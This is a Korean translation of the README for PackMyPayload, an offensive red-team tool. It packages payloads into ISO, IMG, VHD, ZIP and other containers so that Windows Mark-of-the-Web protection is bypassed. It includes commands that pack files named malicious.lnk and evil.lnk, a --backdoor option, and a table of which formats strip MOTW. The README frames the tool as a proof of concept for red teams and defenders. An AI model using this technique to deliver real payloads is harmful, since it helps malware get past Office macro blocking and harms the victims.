
페이로드를 출력 컨테이너에 패키징하여 Mark-of-the-Web 플래그를 우회하고 컨테이너 파일 형식과 관련된 위험을 시연하는 PoC입니다. 지원 형식: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX
PackMyPayload - 컨테이너화된 악성코드의 새로운 위협이 도구는 입력으로 파일이나 디렉터리를 받아 이를 보관/컨테이너 역할을 하는 출력 파일에 포함시킵니다. 컨테이너 파일 형식에 포함된 악성코드의 새로운 위험을 제시하는 Proof-of-Concept 용도로 사용할 수 있으며, 전문 레드팀 운영자가 초기 접근(Initial Access) 전략을 강화하는 데 도움을 줍니다.
현재 위협 행위자들은 다양한 컨테이너 파일 형식으로 보관된 악성코드를 밀반입하는 것으로 알려져 있으며, 그 예로는 다음과 같습니다:
7zipzipISOIMG그들은 페이로드가 파일 콘텐츠 스캐너를 통과하도록 하기 위해 이렇게 하지만, 더 중요한 것은 _파일에 Mark-Of-The-Web 플래그가 설정되는 것을 피하기 위해서_입니다. 공격자들이 MOTW를 원하지 않는 데는 여러 동기가 있으며, 그중 Microsoft Office의 _Protected View_가 항상 포함되었습니다.
만약 공격자가 피해자에게 컨테이너 파일을 제공한다면, 인터넷에서 가져온 Office 문서의 VBA 매크로를 비활성화하는 기반이 우회될 수 있습니다.
2월 7일 Microsoft는 인터넷에서 시작된 VBA 매크로를 차단하는 기본 구성 변경을 발표했습니다. 이는 사용자 워크스테이션과 해당 소프트웨어의 기준 구성을 강화하는 놀라운 진전입니다. 늦은 감이 있지만 일반적인 Windows+Office 설치 환경에 긍정적인 영향을 미치는 중요한 단계입니다.
구현된 동작은 매크로 사용 Office 문서를 MOTW(Mark of the Web) 플래그에 기반하여 구별함으로써 작동한다고 설명됩니다. 이 플래그는 소프트웨어 클라이언트(브라우저, 메일 클라이언트, 파일 압축 프로그램 등)가 인터넷과 같은 신뢰할 수 없는 영역에서 가져온 파일을 표시하는 오염된 레이블 역할을 합니다.
Outflank은 2020년에 MOTW 플래그가 균일하게 전파되지 않는 영역을 지적하며 MOTW에 대해 더 많은 정보를 제공했습니다. 이러한 영역은 방어 격차(Defense Gap) 역할을 하며, 수년간 위협 행위자들에게 일반적으로 악용되어 왔습니다.
그들의 연구는 일부 컨테이너 파일 형식, 즉 ISO, VHD/VHDX는 자동 마운트 또는 자동 추출 시 내부 파일에 MOTW 오염 플래그를 전파하지 않는다는 것을 밝혔습니다. 더욱이 Windows 8+는 더블 클릭 시 이러한 형식을 자동으로 열 수 있어, 이를 악명 높은 감염 운반체로 만들어 MOTW의 보안 조치 역할을 약화시킬 수 있습니다.
실제로 Mark of the Web 플래그가 어떻게 보이는지 살펴보겠습니다:

파일을 다운로드한 후, 파일을 마우스 오른쪽 버튼으로 클릭하고 속성을 확인하세요. 신뢰할 수 없는 영역에서 가져왔기 때문에 파일 차단을 해제하라는 메시지가 표시됩니다.:

이 정보는 Zone.Identifier라는 NTFS ADS(대체 데이터 스트림)에 저장되며, 다음과 같습니다:

ZoneId=3은 파일을 오염된 것으로 표시하는 역할을 합니다.
PackMyPayload.py를 사용하여 명령 하나로 파일을 ISO Joliet 디스크에 쉽게 넣을 수 있습니다:
PS> py PackMyPayload.py 7z2107-x64.exe 7z2107-x64.iso

ISO 파일을 생성한 후, Python을 사용하여 HTTP 서버를 모방합니다:
PS> py -m http.server 80
그런 다음 브라우저를 사용하여 ISO 파일을 다운로드합니다.

해당 ISO 파일의 속성을 확인하면 MOTW 플래그가 표시된 것을 볼 수 있습니다.

그러나 내부의 7zip 설치 프로그램 EXE 파일은 MOTW 표시가 되어 있지 않습니다!

업계의 시선이 Microsoft의 VBA 매크로 차단이라는 용감한 결정에 쏠린 이 기회를 이용하여, 우리는 악용에 대한 세계 기술의 회복력을 높이는 데 최대한 고려하는 전문 보안 연구자로서 현재 위협 행위자의 TTP에 다음 통찰력을 추가하고자 합니다:
위협 행위자는 MOTW가 피싱 페이로드에 미치는 영향을 잘 알고 있습니다. 그들은 오래전에 적응했으며 현재 악성 프로그램을 컨테이너 내부로 밀반입하고 있습니다. 가장 흔히 관찰되는 형식으로는 ISO, IMG, CAB가 있습니다.
저는 Microsoft의 입장에 기반한 모멘텀을 높이고 이러한 회피 경로에 대한 논의를 강화하기 위해 이 도구를 지금 공개합니다.
위에 나열된 확장자를 가진 파일이 신뢰할 수 없는 영역에서 올 때마다, 그리고 적용 가능한 모든 곳에서 해당 파일을 차단(또는 격리)하는 것이 좋습니다:
이번에 공개된 도구를 통해 더 많은 레드팀이 논의된 위험을 시뮬레이션하고 파트너 방어 체계 내 탐지 격차를 더 쉽게 식별할 수 있기를 바랍니다.
이 스크립트는 다음과 같은 기능과 장점을 제공합니다:
지원되는 형식:
--zip-noreadonly 옵션을 사용하지 않는 한 그렇습니다.cmd> pip3 install -r requirements.txt
PS> py PackMyPayload.py C:\my\dir malicious.iso -v
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning files onto ISO:
Adding file: //malicious.lnk
Adding file: //malicious.docm
[INFO] [+] File packaged into ISO.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 69632): malicious.iso
DISKPART가 물리적 디바이스 개체/네임스페이스에 대한 관리자 액세스를 필요로 하기 때문입니다. 가장 좋은 경험은 Windows Terminal (wt) 또는 ConEmu에서 스크립트를 실행하는 것입니다(ANSI 색상 지원). 출력이 보기 좋지 않으면 -N 플래그로 색상을 비활성화하세요:PS> py PackMyPayload.py .\evil.lnk .\evil.vhd -v -N
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .vhd (vhd)...
[INFO] Drive letters currently occupied:
X
C
Z
D
[INFO] Will create VHD of size: 1024MB (Dynamic)
[INFO] Will assign VHD letter : V:
[INFO] Will format VHD with : FAT32
[INFO] Creating VHD file...
[+] Created & mounted VHD file on V:\
[.] Packing files into created VHD...
[INFO] Packaged file:
[INFO] evil.lnk => V:\
[.] Detaching VHD file...
[+] Detached VHD file from V:\
[INFO] [+] File packaged into VHD.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 6311936): evil.vhd
usage:
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.3.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
Usage: PackMyPayload.py [options] <infile> <outfile>
options:
-h, --help show this help message and exit
Required arguments:
infile Input file/directory to be packaged into output archive/container
outfile Output file with extension pointing at output format
Options:
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-N, --nocolor Dont use colors in text output.
-i BACKDOOR, --backdoor BACKDOOR
Instead of generating blank new output container/archive, will backdoor existing input one.
-n NAME, --filename NAME
Package input file into archive/container under this filename (may contain relative path).
-p PASSWORD, --password PASSWORD
If output archive/container format supports password protection, use this password to protect
output file.
--out-format {zip,7z,iso,img,cab,pdf,vhd,vhdx}
Explicitely define output format disregarding output file's extension. Can be one of
following: zip, 7z, iso, img, cab, pdf, vhd, vhdx
-H HIDE, --hide HIDE (Supported in ISO/IMG, ZIP) Set hidden attribute on file(s). Cannot be repeated, only comma-
separated. Example: --hide icon.ico,evil.exe . Supports wildcards: --hide icon?.*
ZIP specific options:
--zip-noreadonly DISABLE ZIP MOTW bypass that is used by default. By default, PackMyPayload marks Office files
as Read-Only making ZIP software unable to set MOTW flag on them when extracted. This option
disables that behavior.
VHD specific options:
--vhd-size SIZE VHD dynamic size in MB. Default: 1024
--vhd-letter LETTER Drive letter where to mount VHD drive. Default: will pick unused one at random.
--vhd-filesystem FS Filesystem to be used while formatting VHD. Default: FAT32. Supported: fat, fat32, ntfs
=====================================================
Supported container/archive formats:
- zip
- 7z
- iso
- img
- cab
- pdf
- vhd
- vhdx
=====================================================
MSI 파일 지원 추가
MS Office 2007+ 문서에 파일 포함: word -> embeddings -> oleObject1.bin (OLE 스트림) + 조정
다른 이국적인 아카이브 형식 지원 고려 (MOTW 처리나 Windows 기본 지원과 관련 없음):
tarcpiopaxxararmtreeshartarcpgzuu다음 줄을 거울 앞에서 최대한 빠르게 크게 읽어 주시기 바랍니다:
py Pack My Payload dot py
어떤 이들은 이 주문이 고대 DAEMON과 양을 소환한다고 말합니다 ( ͡~ ͜ʖ ͡°)
다음 기여자분들께 큰 박수와 감사를 드립니다. 이 도구를 향상시키는 데 도움을 주셨습니다:
--hide 플래그 추가--hide 플래그 관련 문제 수정이 프로젝트와 다른 프로젝트들은 잠 못 이루는 밤과 많은 노력의 결과입니다. 제 작업이 마음에 들고 제가 항상 커뮤니티에 환원하는 것을 감사하게 생각하신다면, 저에게 커피 한 잔 사 주세요 (또는 맥주가 더 좋습니다) 감사의 표시로! 💪
Mariusz Banach / mgeeky, (@mariuszbit)
<mb [at] binary-offensive.com>
| 형식 | MOTW 제거 여부? | 기본 Windows 지원 여부? | 권한 상승 필요? | 비고 |
|---|
Zip | No/Yes* | Yes | No | (MOTW는 CVE-2022-41091을 통해 제거됨) |
7zip | 부분적 | No | No | MOTW는 수동 파일 추출 시에만 제거됨 |
ISO | Yes | Yes | No | |
IMG | Yes | Yes | No | |
PDF | ? | Yes | No | PDF 리더의 Javascript 지원에 따라 다름 |
CAB | No | Yes | No | 피해자 측에서 몇 번의 추가 클릭 필요 |
VHD | Yes | Yes | Yes | 이 스크립트는 현재 디렉터리를 만들 수 없음 |
VHDX | Yes | Yes | Yes | 이 스크립트는 현재 디렉터리를 만들 수 없음 |
lhaWinZip Pro도 다음 형식의 추출을 지원하므로 추가할 가치가 있을 수 있습니다:
B64, BHX, BZ, BZ2, GZ, HQX, LHA, LZH, MIM, TAZ, TBZ,TBZ2, TGZ, TXZ, TZ, UU, UUE, VMDK, XXE, XZ, Z, ZIPX,